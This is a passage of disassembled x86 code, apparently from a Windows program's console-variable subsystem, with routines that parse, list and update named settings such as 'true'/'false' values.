		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2830000h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
